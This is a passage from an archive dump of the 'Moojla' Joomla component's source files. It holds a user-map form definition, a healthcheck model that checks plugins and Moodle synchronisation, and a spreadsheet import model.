description="COM_MOOJLA_USER_MAP_MODIFIED_DATE_DESC"
size="22"
readonly="true"
format="%Y-%m-%d %H:%M:%S"
filter="user_utc" />
<!-- User Modified Field. Type: User (joomla)-->
<field name="modified_by"
type="user"
label="COM_MOOJLA_USER_MAP_MODIFIED_BY_LABEL"
description="COM_MOOJLA_USER_MAP_MODIFIED_BY_DESC"
class="readonly"
readonly="true"
filter="unset" />
<!-- Ordering Field. Type: Numbers (joomla)-->
<field name="ordering"
type="number"
class="inputbox validate-ordering"
label="COM_MOOJLA_USER_MAP_ORDERING_LABEL"
description=""
default="0"
size="6"
required="false" />
<!-- Version Field. Type: Text (joomla)-->
<field name="version"
type="text"
class="readonly"
label="COM_MOOJLA_USER_MAP_VERSION_LABEL"
description="COM_MOOJLA_USER_MAP_VERSION_DESC"
size="6"
readonly="true"
filter="unset" />
<!-- Was added due to Permissions JS needing a Title
field-->
<!-- Let us know at gh-629 should this change-->
<!--
https://github.com/vdm-io/Joomla-Component-Builder/issues/629#issuecomment-750117235-->
<field name="title"
type="hidden"
default="moojla user_map" />
<!-- Dynamic Fields.-->
<!-- Jid Field. Type: User. (joomla)-->
<field type="user"
name="jid"
label="COM_MOOJLA_USER_MAP_JID_LABEL"
description="COM_MOOJLA_USER_MAP_JID_DESCRIPTION"
required="true" />
<!-- Mid Field. Type: Text. (joomla)-->
<field type="text"
name="mid"
label="COM_MOOJLA_USER_MAP_MID_LABEL"
size="10"
maxlength="50"
default=""
description="COM_MOOJLA_USER_MAP_MID_DESCRIPTION"
class="text_area"
readonly="false"
disabled="false"
required="true"
filter="INT"
message="COM_MOOJLA_USER_MAP_MID_MESSAGE"
hint="COM_MOOJLA_USER_MAP_MID_HINT"
autocomplete="off" />
<!-- Userimage Field. Type: Text. (joomla)-->
<field type="text"
name="userimage"
label="COM_MOOJLA_USER_MAP_USERIMAGE_LABEL"
size="1024"
maxlength="1024"
description="COM_MOOJLA_USER_MAP_USERIMAGE_DESCRIPTION"
class="text_area" />
<!-- Debug Field. Type: Hidden. (joomla)-->
<field type="hidden"
name="debug"
default="1"
filter="STRING" />
<!-- Updatetype Field. Type: Radio. (joomla)-->
<field type="radio"
name="updatetype"
label="COM_MOOJLA_USER_MAP_UPDATETYPE_LABEL"
class="btn-group btn-group-yesno"
default="1">
<!-- Option Set.-->
<option
value="1">COM_MOOJLA_USER_MAP_TWOWAY_EFFECT</option>
<option
value="-1">COM_MOOJLA_USER_MAP_MOODLE_EFFECT</option>
<option
value="-2">COM_MOOJLA_USER_MAP_JOOMLA_EFFECT</option>
<option
value="0">COM_MOOJLA_USER_MAP_NEVER</option>
</field>
</fieldset>
<!-- Access Control Fields. -->
<fieldset name="accesscontrol">
<!-- Asset Id Field. Type: Hidden (joomla) -->
<field
name="asset_id"
type="hidden"
filter="unset"
/>
<!-- Rules Field. Type: Rules (joomla) -->
<field
name="rules"
type="rules"
label="Permissions in relation to this user_map"
translate_label="false"
filter="rules"
validate="rules"
class="inputbox"
component="com_moojla"
section="user_map"
/>
</fieldset>
</form>models/healthcheck.php000064400000033046151165724400011016
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage healthcheck.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Healthcheck Model
*/
class MoojlaModelHealthcheck extends JModelItem
{
/**
* Model context string.
*
* @var string
*/
protected $_context = 'com_moojla.healthcheck';
/**
* Model user data.
*
* @var strings
*/
protected $user;
protected $userId;
protected $guest;
protected $groups;
protected $levels;
protected $app;
protected $input;
protected $uikitComp;
/**
* @var object item
*/
protected $item;
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @since 1.6
*
* @return void
*/
protected function populateState()
{
$this->app = JFactory::getApplication();
$this->input = $this->app->input;
// Get the item main id
$id = $this->input->getInt('id', null);
$this->setState('healthcheck.id', $id);
// Load the parameters.
parent::populateState();
}
/**
* Method to get article data.
*
* @param integer $pk The id of the article.
*
* @return mixed Menu item data object on success, false on failure.
*/
public function getItem($pk = null)
{
$this->user = JFactory::getUser();
// check if this user has permission to access item
if (!$this->user->authorise('healthcheck.access',
'com_moojla'))
{
$app = JFactory::getApplication();
$app->enqueueMessage(JText::_('Not authorised!'),
'error');
// redirect away if not a correct to cPanel/default view
$app->redirect('index.php?option=com_moojla');
return false;
}
$this->userId = $this->user->get('id');
$this->guest = $this->user->get('guest');
$this->groups = $this->user->get('groups');
$this->authorisedGroups = $this->user->getAuthorisedGroups();
$this->levels = $this->user->getAuthorisedViewLevels();
$this->initSet = true;
$pk = (!empty($pk)) ? $pk : (int)
$this->getState('healthcheck.id');
if ($this->_item === null)
{
$this->_item = array();
}
if (!isset($this->_item[$pk]))
{
try
{
// Get a db connection.
$db = JFactory::getDbo();
// Create a new query object.
$query = $db->getQuery(true);
// Get data
/***[JCBGUI.dynamic_get.php_custom_get.57.$$$$]***/
$plugins = new stdClass();
$plugins->joomla = array();
$plugins->thirdparties = array();
$moojla_joomla_plugins_name = array( // translate need
"moojlaaditionalfields_moojlaaditionnalfieldcb" =>
"Its important for syncing users with joomla fields",
"moojlaaditionalfields_moojlaaditionnalfieldnative"
=> "Its important for syncing users with cb fields",
"user_moojlasso_j2m" => "Its important for
syncing users login status from joomla to moodle",
"moojlaevents_moojlasso_m2j" => "Its important
for syncing users login status from moodle to joomla",
"user_moojlausersyncer_j2m" => "Its important
for syncing users from joomla to moodle",
"moojlaevents_moojlausersyncer_m2j" => "Its
important for syncing users from moodle to joomla",
"moojlaevents_moojlacoursesyncer_m2j" => "Its
important for syncing course from moodle to joomla",
"system_moojlahikashoporder" => "Its important
enrolling users in hikashop products(courses)",
"moojlaevents_moojlaenrolmentmethod" => "Its
important for syncing course enrolment instances",
"moojlashopintegration_moojlahikashopproduct_m2j" =>
"Its important for syncing course product in hikashop",
"search_moojlasearchbycourse" => "Its important
for search course by name",
"search_moojlasearchbycategory" => "Its
important for search course by category",
"user_moojlaautologingwithredirect" => "for
login user after creation",
"moojlaevents_moojlacourse_events" => "for
showing particles like kommento in moojla coursedetil view",
"moojlaevents_moojlagroup_manager" => "Its
important for creating groups after course creation",
"user_moojlaenrolwithgroups_j2m" => "Its
important for enrrol(unenrol) users with joinig(leaving) groups",
"moojlaevents_moojlatagsyncer_m2j" => "for
creating and syncing coursetags from moodle to joomla",
"moojlaevents_moojlaenrolment_m2j" => "Its
important for syncing moojla enroments",
);
foreach($moojla_joomla_plugins_name as $mjp => $importancy)
{
$plugins->joomla[$mjp] = new stdClass();
$plugins->joomla[$mjp]->installed = false;
$plugins->joomla[$mjp]->enabled = false;
$plugins->joomla[$mjp]->importancy = $importancy;
}
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__extensions'));
$query->where($db->quoteName('name') . ' IN
("plg_' . implode('","plg_',
array_keys($moojla_joomla_plugins_name)) . '")');
$db->setQuery($query);
$extensions_res = $db->loadObjectList('name');
foreach(array_keys($moojla_joomla_plugins_name) as $mjp)
{
if(isset($extensions_res['PLG_' . strtoupper($mjp)]))
{
$plugins->joomla[$mjp]->installed = true;
$plugins->joomla[$mjp]->enabled =
(($extensions_res['PLG_' . strtoupper($mjp)]->enabled) == 1);
}
}
$moojla_cb_plugins_name = array( // translate need
"moojlacbeventforwarder" => "Its important for
syncing users with cb fields"
);
foreach($moojla_cb_plugins_name as $mcp => $importancy)
{
$plugins->thirdparties['cb'][$mcp] = new
stdClass();
$plugins->thirdparties['cb'][$mcp]->installed =
false;
$plugins->thirdparties['cb'][$mcp]->enabled =
false;
$plugins->thirdparties['cb'][$mcp]->importancy =
$importancy;
}
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__comprofiler_plugin'));
$query->where($db->quoteName('element') . ' IN
("' . implode('","',
array_keys($moojla_cb_plugins_name)) . '")');
$db->setQuery($query);
try {
$comprofiler_plugin =
$db->loadObjectList('element');
foreach(array_keys($moojla_cb_plugins_name) as $mcp)
{
if(isset($comprofiler_plugin[$mcp]))
{
$plugins->thirdparties['cb'][$mcp]->installed
= true;
$plugins->thirdparties['cb'][$mcp]->enabled =
(($comprofiler_plugin[$mcp]->published) == 1);
}
}
} catch (Exception $e) {
$plugins->thirdparties['cb'] = array();
}
$this->_item[$pk] = array("plugins" => $plugins);
$uri = JUri::getInstance();
$params = JComponentHelper::getParams('com_moojla');
$moodle_url = trim($params->get('moodle_url'));
$joomla_token = trim($params->get('joomla_token'));
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL =>
$moodle_url.'auth/moojla/requestHandler.php',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => '',
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 0,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => 'POST',
CURLOPT_POSTFIELDS => array('joomla_url' =>
$uri->root(),'joomla_token' => $joomla_token),
));
$response = curl_exec($curl);
$this->_item[$pk]['component'] =
json_decode($response);
curl_close($curl);
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$dataObj = array(
"wsfunction" =>
"moojla_health_check",
"moodlewsrestformat" => "json",
);
$tokenReq = MoojlaHelper::sendRequestToMoodle($dataObj);
$token_status = json_decode($tokenReq->response);
$this->_item[$pk]['component']->moodleToken =
$token_status->message === 1 ? true : false;
if($token_status->message !== 1)
{
$this->_item[$pk]['component']->error->moodleToken =
'Moodle token should be exactly what set to moojla service in
yourmoodle.com/admin/settings.php?section=webservicetokens'; //
translate need
}
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$dataObj = array(
"wsfunction" =>
"moojla_get_users_minimal",
"moodlewsrestformat" => "json",
"notadmin" => 1
);
$moodleusers =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response,
true);
$mids = array_column($moodleusers, 'id');
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('mid');
$query->from($db->quoteName('#__moojla_user_map'));
$query->where($db->quoteName('mid') . '
<> 0');
$query->where($db->quoteName('jid') . '
<> 0');
$query->where($db->quoteName('published') . '
= 1');
$db->setQuery($query);
$map = $db->loadColumn();
$diff = array_diff($mids ,$map);
$this->_item[$pk]['moodleusersdiff'] = $diff;
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$dataObj = array(
"wsfunction" =>
"moojla_get_mapped_users",
"moodlewsrestformat" => "json",
);
$moodlemoojlamap =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response,
true);
$jids = array_column($moodlemoojlamap, 'jid');
$db = JFactory::getDbo();
$query = "SELECT u.id FROM #__users AS u WHERE u.id NOT IN (
SELECT uum.user_id FROM #__user_usergroup_map AS uum INNER JOIN
#__usergroups AS uu ON uu.id = uum.group_id WHERE uu.title IN ('Super
Users', 'Administrator'))";
$db->setQuery($query);
$jmap = $db->loadColumn();
$jdiff = array_diff($jmap, $jids);
$this->_item[$pk]['joomlausersdiff'] = $jdiff;
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$dataObj = array(
"wsfunction" =>
"moojla_get_courses",
"moodlewsrestformat" => "json",
);
$moodlecourses =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response,
true);
$remoteids = array_column($moodlecourses, 'id');
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('remoteid');
$query->from($db->quoteName('#__moojla_course'));
$query->where($db->quoteName('published') . '
= 1');
$db->setQuery($query);
$cmap = $db->loadColumn();
$coursedif = array_diff($remoteids, $cmap);
$this->_item[$pk]['coursedif'] = $coursedif;
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('mcatid');
$query->from($db->quoteName('#__moojla_category_map'));
$query->where($db->quoteName('published') . '
= 1');
$db->setQuery($query);
$catmap = $db->loadColumn();
$dataObj = array(
"wsfunction" =>
"moojla_get_course_categories",
"moodlewsrestformat" => "json",
);
$course_cats =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response);
$categories = array_column($course_cats, 'id');
$catdif = array_diff($categories, $catmap);
$this->_item[$pk]['catdif'] = $catdif;
return $this->_item[$pk];
/***[/JCBGUI$$$$]***/
// Reset the query using our newly populated query object.
$db->setQuery($query);
// Load the results as a stdClass object.
$data = $db->loadObject();
if (empty($data))
{
$app = JFactory::getApplication();
// If no data is found redirect to default page and show warning.
$app->enqueueMessage(JText::_('COM_MOOJLA_NOT_FOUND_OR_ACCESS_DENIED'),
'warning');
$app->redirect('index.php?option=com_moojla');
return false;
}
// set data object to item.
$this->_item[$pk] = $data;
}
catch (Exception $e)
{
if ($e->getCode() == 404)
{
// Need to go thru the error handler to allow Redirect to work.
JError::raiseWarning(404, $e->getMessage());
}
else
{
$this->setError($e);
$this->_item[$pk] = false;
}
}
}
return $this->_item[$pk];
}
}
models/import.php000064400000047157151165724400010075 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage import.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Filesystem\Folder;
use Joomla\Utilities\ArrayHelper;
use PhpOffice\PhpSpreadsheet\IOFactory;
/**
* Moojla Import Model
*/
class MoojlaModelImport extends JModelLegacy
{
// set uploading values
protected $use_streams = false;
protected $allow_unsafe = false;
protected $safeFileOptions = array();
/**
* @var object JTable object
*/
protected $_table = null;
/**
* @var object JTable object
*/
protected $_url = null;
/**
* Model context string.
*
* @var string
*/
protected $_context = 'com_moojla.import';
/**
* Import Settings
*/
protected $getType = NULL;
protected $dataType = NULL;
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @return void
*
*/
protected function populateState()
{
$app = JFactory::getApplication('administrator');
$this->setState('message',
$app->getUserState('com_moojla.message'));
$app->setUserState('com_moojla.message', '');
// Recall the 'Import from Directory' path.
$path = $app->getUserStateFromRequest($this->_context .
'.import_directory', 'import_directory',
$app->get('tmp_path'));
$this->setState('import.directory', $path);
parent::populateState();
}
/**
* Import an spreadsheet from either folder, url or upload.
*
* @return boolean result of import
*
*/
public function import()
{
$this->setState('action', 'import');
$app = JFactory::getApplication();
$session = JFactory::getSession();
$package = null;
$continue = false;
// get import type
$this->getType = $app->input->getString('gettype',
NULL);
// get import type
$this->dataType =
$session->get('dataType_VDM_IMPORTINTO', NULL);
if ($package === null)
{
switch ($this->getType)
{
case 'folder':
// Remember the 'Import from Directory' path.
$app->getUserStateFromRequest($this->_context .
'.import_directory', 'import_directory');
$package = $this->_getPackageFromFolder();
break;
case 'upload':
$package = $this->_getPackageFromUpload();
break;
case 'url':
$package = $this->_getPackageFromUrl();
break;
case 'continue':
$continue = true;
$package = $session->get('package', null);
$package = json_decode($package, true);
// clear session
$session->clear('package');
$session->clear('dataType');
$session->clear('hasPackage');
break;
default:
$app->setUserState('com_moojla.message',
JText::_('COM_MOOJLA_IMPORT_NO_IMPORT_TYPE_FOUND'));
return false;
break;
}
}
// Was the package valid?
if (!$package || !$package['type'])
{
if (in_array($this->getType, array('upload',
'url')))
{
$this->remove($package['packagename']);
}
$app->setUserState('com_moojla.message',
JText::_('COM_MOOJLA_IMPORT_UNABLE_TO_FIND_IMPORT_PACKAGE'));
return false;
}
// first link data to table headers
if(!$continue){
$package = json_encode($package);
$session->set('package', $package);
$session->set('dataType', $this->dataType);
$session->set('hasPackage', true);
return true;
}
// set the data
$headerList =
json_decode($session->get($this->dataType.'_VDM_IMPORTHEADERS',
false), true);
if (!$this->setData($package,$this->dataType,$headerList))
{
// There was an error importing the package
$msg = JText::_('COM_MOOJLA_IMPORT_ERROR');
$back = $session->get('backto_VDM_IMPORT', NULL);
if ($back)
{
$app->setUserState('com_moojla.redirect_url',
'index.php?option=com_moojla&view='.$back);
$session->clear('backto_VDM_IMPORT');
}
$result = false;
}
else
{
// Package imported sucessfully
$msg = JText::sprintf('COM_MOOJLA_IMPORT_SUCCESS',
$package['packagename']);
$back = $session->get('backto_VDM_IMPORT', NULL);
if ($back)
{
$app->setUserState('com_moojla.redirect_url',
'index.php?option=com_moojla&view='.$back);
$session->clear('backto_VDM_IMPORT');
}
$result = true;
}
// Set some model state values
$app->enqueueMessage($msg);
// remove file after import
$this->remove($package['packagename']);
$session->clear($this->getType.'_VDM_IMPORTHEADERS');
return $result;
}
/**
* Works out an importation spreadsheet from a HTTP upload
*
* @return spreadsheet definition or false on failure
*/
protected function _getPackageFromUpload()
{
// Get the uploaded file information
$app = JFactory::getApplication();
$input = $app->input;
// Do not change the filter type 'raw'. We need this to let
files containing PHP code to upload. See JInputFiles::get.
$userfile = $input->files->get('import_package', null,
'raw');
// Make sure that file uploads are enabled in php
if (!(bool) ini_get('file_uploads'))
{
$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_WARNIMPORTFILE'),
'warning');
return false;
}
// If there is no uploaded file, we have a problem...
if (!is_array($userfile))
{
$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_NO_FILE_SELECTED'),
'warning');
return false;
}
// Check if there was a problem uploading the file.
if ($userfile['error'] || $userfile['size'] < 1)
{
$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_WARNIMPORTUPLOADERROR'),
'warning');
return false;
}
// Build the appropriate paths
$config = JFactory::getConfig();
$tmp_dest = $config->get('tmp_path') . '/' .
$userfile['name'];
$tmp_src = $userfile['tmp_name'];
// Move uploaded file
jimport('joomla.filesystem.file');
$p_file = File::upload($tmp_src, $tmp_dest, $this->use_streams,
$this->allow_unsafe, $this->safeFileOptions);
// Was the package downloaded?
if (!$p_file)
{
$session = JFactory::getSession();
$session->clear('package');
$session->clear('dataType');
$session->clear('hasPackage');
// was not uploaded
return false;
}
// check that this is a valid spreadsheet
$package = $this->check($userfile['name']);
return $package;
}
/**
* Import an spreadsheet from a directory
*
* @return array Spreadsheet details or false on failure
*
*/
protected function _getPackageFromFolder()
{
$app = JFactory::getApplication();
$input = $app->input;
// Get the path to the package to import
$p_dir = $input->getString('import_directory');
$p_dir = JPath::clean($p_dir);
// Did you give us a valid path?
if (!file_exists($p_dir))
{
$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_PLEASE_ENTER_A_PACKAGE_DIRECTORY'),
'warning');
return false;
}
// Detect the package type
$type = $this->getType;
// Did you give us a valid package?
if (!$type)
{
$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_PATH_DOES_NOT_HAVE_A_VALID_PACKAGE'),
'warning');
}
// check the extention
if(!$this->checkExtension($p_dir))
{
// set error message
$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_DOES_NOT_HAVE_A_VALID_FILE_TYPE'),
'warning');
return false;
}
$package['packagename'] = null;
$package['dir'] = $p_dir;
$package['type'] = $type;
return $package;
}
/**
* Import an spreadsheet from a URL
*
* @return Package details or false on failure
*
*/
protected function _getPackageFromUrl()
{
$app = JFactory::getApplication();
$input = $app->input;
// Get the URL of the package to import
$url = $input->getString('import_url');
// Did you give us a URL?
if (!$url)
{
$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_ENTER_A_URL'),
'warning');
return false;
}
// Download the package at the URL given
$p_file = JInstallerHelper::downloadPackage($url);
// Was the package downloaded?
if (!$p_file)
{
$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_INVALID_URL'),
'warning');
return false;
}
// check that this is a valid spreadsheet
$package = $this->check($p_file);
return $package;
}
/**
* Check a file and verifies it as a spreadsheet file
* Supports .csv .xlsx .xls and .ods
*
* @param string $p_filename The uploaded package filename or import
directory
*
* @return array of elements
*
*/
protected function check($archivename)
{
$app = JFactory::getApplication();
// Clean the name
$archivename = JPath::clean($archivename);
// check the extention
if(!$this->checkExtension($archivename))
{
// Cleanup the import files
$this->remove($archivename);
$app->enqueueMessage(JText::_('COM_MOOJLA_IMPORT_MSG_DOES_NOT_HAVE_A_VALID_FILE_TYPE'),
'warning');
return false;
}
$config = JFactory::getConfig();
// set Package Name
$check['packagename'] = $archivename;
// set directory
$check['dir'] = $config->get('tmp_path').
'/' .$archivename;
// set type
$check['type'] = $this->getType;
return $check;
}
/**
* Check the extension
*
* @param string $file Name of the uploaded file
*
* @return boolean True on success
*
*/
protected function checkExtension($file)
{
// check the extention
switch(strtolower(pathinfo($file, PATHINFO_EXTENSION)))
{
case 'xls':
case 'ods':
case 'csv':
return true;
break;
}
return false;
}
/**
* Clean up temporary uploaded spreadsheet
*
* @param string $package Name of the uploaded spreadsheet file
*
* @return boolean True on success
*
*/
protected function remove($package)
{
jimport('joomla.filesystem.file');
$config = JFactory::getConfig();
$package = $config->get('tmp_path'). '/'
.$package;
// Is the package file a valid file?
if (is_file($package))
{
File::delete($package);
}
elseif (is_file(JPath::clean($package)))
{
// It might also be just a base filename
File::delete(JPath::clean($package));
}
}
/**
* Set the data from the spreadsheet to the database
*
* @param string $package Paths to the uploaded package file
*
* @return boolean false on failure
*
**/
protected function setData($package,$table,$target_headers)
{
if (MoojlaHelper::checkArray($target_headers))
{
// make sure the file is loaded
MoojlaHelper::composerAutoload('phpspreadsheet');
$jinput = JFactory::getApplication()->input;
foreach($target_headers as $header)
{
if (($column = $jinput->getString($header, false)) !== false ||
($column = $jinput->getString(strtolower($header), false)) !==
false)
{
$data['target_headers'][$header] = $column;
}
else
{
$data['target_headers'][$header] = null;
}
}
// set the data
if(isset($package['dir']))
{
$inputFileType = IOFactory::identify($package['dir']);
$excelReader = IOFactory::createReader($inputFileType);
$excelReader->setReadDataOnly(true);
$excelObj = $excelReader->load($package['dir']);
$data['array'] =
$excelObj->getActiveSheet()->toArray(null, true,true,true);
$excelObj->disconnectWorksheets();
unset($excelObj);
return $this->save($data, $table);
}
}
return false;
}
/**
* Save the data from the file to the database
*
* @param string $package Paths to the uploaded package file
*
* @return boolean false on failure
*
**/
protected function save($data,$table)
{
// import the data if there is any
if(MoojlaHelper::checkArray($data['array']))
{
// get user object
$user = JFactory::getUser();
// remove header if it has headers
$id_key = $data['target_headers']['id'];
$published_key =
$data['target_headers']['published'];
$ordering_key = $data['target_headers']['ordering'];
// get the first array set
$firstSet = reset($data['array']);
// check if first array is a header array and remove if true
if($firstSet[$id_key] == 'id' || $firstSet[$published_key] ==
'published' || $firstSet[$ordering_key] == 'ordering')
{
array_shift($data['array']);
}
// make sure there is still values in array and that it was not only
headers
if(MoojlaHelper::checkArray($data['array']) &&
$user->authorise($table.'.import', 'com_moojla')
&& $user->authorise('core.import',
'com_moojla'))
{
// set target.
$target = array_flip($data['target_headers']);
// Get a db connection.
$db = JFactory::getDbo();
// set some defaults
$todayDate = JFactory::getDate()->toSql();
// get global action permissions
$canDo = MoojlaHelper::getActions($table);
$canEdit = $canDo->get('core.edit');
$canState = $canDo->get('core.edit.state');
$canCreate = $canDo->get('core.create');
$hasAlias = $this->getAliasesUsed($table);
// prosses the data
foreach($data['array'] as $row)
{
$found = false;
if (isset($row[$id_key]) && is_numeric($row[$id_key])
&& $row[$id_key] > 0)
{
// raw items import & update!
$query = $db->getQuery(true);
$query
->select('version')
->from($db->quoteName('#__moojla_'.$table))
->where($db->quoteName('id') . ' = '.
$db->quote($row[$id_key]));
// Reset the query using our newly populated query object.
$db->setQuery($query);
$db->execute();
$found = $db->getNumRows();
}
if($found && $canEdit)
{
// update item
$id = $row[$id_key];
$version = $db->loadResult();
// reset all buckets
$query = $db->getQuery(true);
$fields = array();
// Fields to update.
foreach($row as $key => $cell)
{
// ignore column
if ('IGNORE' == $target[$key])
{
continue;
}
// update modified
if ('modified_by' == $target[$key])
{
continue;
}
// update modified
if ('modified' == $target[$key])
{
continue;
}
// update version
if ('version' == $target[$key])
{
$cell = (int) $version + 1;
}
// verify publish authority
if ('published' == $target[$key] && !$canState)
{
continue;
}
// set to update array
if(in_array($key, $data['target_headers']) &&
is_numeric($cell))
{
$fields[] = $db->quoteName($target[$key]) . ' = ' .
$cell;
}
elseif(in_array($key, $data['target_headers']) &&
is_string($cell))
{
$fields[] = $db->quoteName($target[$key]) . ' = ' .
$db->quote($cell);
}
elseif(in_array($key, $data['target_headers']) &&
is_null($cell))
{
// if import data is null then set empty
$fields[] = $db->quoteName($target[$key]) . " =
''";
}
}
// load the defaults
$fields[] = $db->quoteName('modified_by') . ' =
' . $db->quote($user->id);
$fields[] = $db->quoteName('modified') . ' = '
. $db->quote($todayDate);
// Conditions for which records should be updated.
$conditions = array(
$db->quoteName('id') . ' = ' . $id
);
$query->update($db->quoteName('#__moojla_'.$table))->set($fields)->where($conditions);
$db->setQuery($query);
$db->execute();
}
elseif ($canCreate)
{
// insert item
$query = $db->getQuery(true);
// reset all buckets
$columns = array();
$values = array();
$version = false;
// Insert columns. Insert values.
foreach($row as $key => $cell)
{
// ignore column
if ('IGNORE' == $target[$key])
{
continue;
}
// remove id
if ('id' == $target[$key])
{
continue;
}
// update created
if ('created_by' == $target[$key])
{
continue;
}
// update created
if ('created' == $target[$key])
{
continue;
}
// Make sure the alias is incremented
if ('alias' == $target[$key])
{
$cell = $this->getAlias($cell,$table);
}
// update version
if ('version' == $target[$key])
{
$cell = 1;
$version = true;
}
// set to insert array
if(in_array($key, $data['target_headers']) &&
is_numeric($cell))
{
$columns[] = $target[$key];
$values[] = $cell;
}
elseif(in_array($key, $data['target_headers']) &&
is_string($cell))
{
$columns[] = $target[$key];
$values[] = $db->quote($cell);
}
elseif(in_array($key, $data['target_headers']) &&
is_null($cell))
{
// if import data is null then set empty
$columns[] = $target[$key];
$values[] = "''";
}
}
// load the defaults
$columns[] = 'created_by';
$values[] = $db->quote($user->id);
$columns[] = 'created';
$values[] = $db->quote($todayDate);
if (!$version)
{
$columns[] = 'version';
$values[] = 1;
}
// Prepare the insert query.
$query
->insert($db->quoteName('#__moojla_'.$table))
->columns($db->quoteName($columns))
->values(implode(',', $values));
// Set the query using our newly populated query object and execute
it.
$db->setQuery($query);
$done = $db->execute();
if ($done)
{
$aId = $db->insertid();
// make sure the access of asset is set
MoojlaHelper::setAsset($aId,$table);
}
}
else
{
return false;
}
}
return true;
}
}
return false;
}
protected function getAlias($name,$type = false)
{
// sanitize the name to an alias
if (JFactory::getConfig()->get('unicodeslugs') == 1)
{
$alias = JFilterOutput::stringURLUnicodeSlug($name);
}
else
{
$alias = JFilterOutput::stringURLSafe($name);
}
// must be a uniqe alias
if ($type)
{
return $this->getUniqe($alias,'alias',$type);
}
return $alias;
}
/**
* Method to generate a uniqe value.
*
* @param string $field name.
* @param string $value data.
* @param string $type table.
*
* @return string New value.
*/
protected function getUniqe($value,$field,$type)
{
// insure the filed is always uniqe
while (isset($this->uniqeValueArray[$type][$field][$value]))
{
$value = JString::increment($value, 'dash');
}
$this->uniqeValueArray[$type][$field][$value] = $value;
return $value;
}
protected function getAliasesUsed($table)
{
// Get a db connection.
$db = JFactory::getDbo();
// first we check if there is a alias column
$columns = $db->getTableColumns('#__moojla_'.$table);
if(isset($columns['alias'])){
// Create a new query object.
$query = $db->getQuery(true);
$query->select($db->quoteName(array('alias')));
$query->from($db->quoteName('#__moojla_'.$table));
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
$aliases = $db->loadColumn();
foreach($aliases as $alias)
{
$this->uniqeValueArray[$table]['alias'][$alias] = $alias;
}
}
return true;
}
return false;
}
}
models/index.html000064400000000054151165724400010030
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>models/languagetranslation.php000064400000010336151165724400012612
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage languagetranslation.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
